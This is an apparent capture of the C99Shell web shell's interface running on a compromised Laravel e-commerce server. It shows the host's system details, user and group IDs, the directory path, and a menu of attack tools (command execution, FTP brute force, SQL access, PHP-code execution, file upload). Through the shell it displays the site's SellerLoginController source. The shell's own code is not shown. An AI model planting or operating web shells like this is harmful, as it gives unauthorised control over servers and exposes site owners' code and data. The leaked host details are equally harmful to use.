!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html/app/Http/Controllers/Auth/   drwxr-xr-x
Free 23.13 GB of 117.98 GB (19.61%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SellerLoginController.php (2.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Auth;

use 
App\Http\Controllers\Controller;
use 
Illuminate\Foundation\Auth\AuthenticatesUsers;
//use Illuminate\Http\Request;
use Request;
use 
App\Models\Seller;
use 
Carbon\Carbon;
use 
DB;
use 
Illuminate\Support\Facades\Auth;
use 
Illuminate\Support\Facades\Hash;
use 
Session;
use 
ValidatorInputRedirect;

class 
SellerLoginController extends Controller
{

    public function 
__construct()
    {
      
//  $this->middleware('guest:seller')->except('logout');
    
}

    public function 
showLoginForm()
    {
        return 
view('auth.seller.login');
    }

    public function 
sellerLogin(Request $requestSeller $seller)
    {

        
$rules = array(
            
'email' => 'required|email'// make sure the email is an actual email
            
'password' => 'required|string|min:6',
        );

        
$validator Validator::make(Request::all(), $rules);
        if (
$validator->fails()) {
            return 
redirect()->back()->withErrors($validator// send back all errors to the login form
                
->with('error''login')->withInput(Request::except('password')); // send back the input (not the password) so that we can repopulate the form
        
}

        
$userdata = array(
            
'email' => Request::get('email'),
            
'password' => Request::get('password'),
        );

        
// if (Auth::guard('seller')->attempt($userdata)) {

        //     Session::put('sellerDetail', $seller->find(Auth::guard('seller')->id()));
        //     return redirect()->intended('home');

        // } else {
        //     // validation not successful, send back to form
        //     return redirect()->back()->with('error', ['msg' => 'Email or Password is wrong!!', 'type' => 'login']);
        // }

        
if (Auth::guard('seller')->attempt($userdata)) {
          
//  Session::put('sellerDetail', $seller->find(Auth::guard('seller')->id()));

            
return redirect('seller/sellerDashboard');
        } else {
            return 
redirect()->back()->with('error', ['msg' => 'Email or Password is wrong!!''type' => 'login']);
        }
    }


    public function 
sellerlogout(){
          
Auth::guard('seller')->logout();
          return 
redirect('seller');

    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--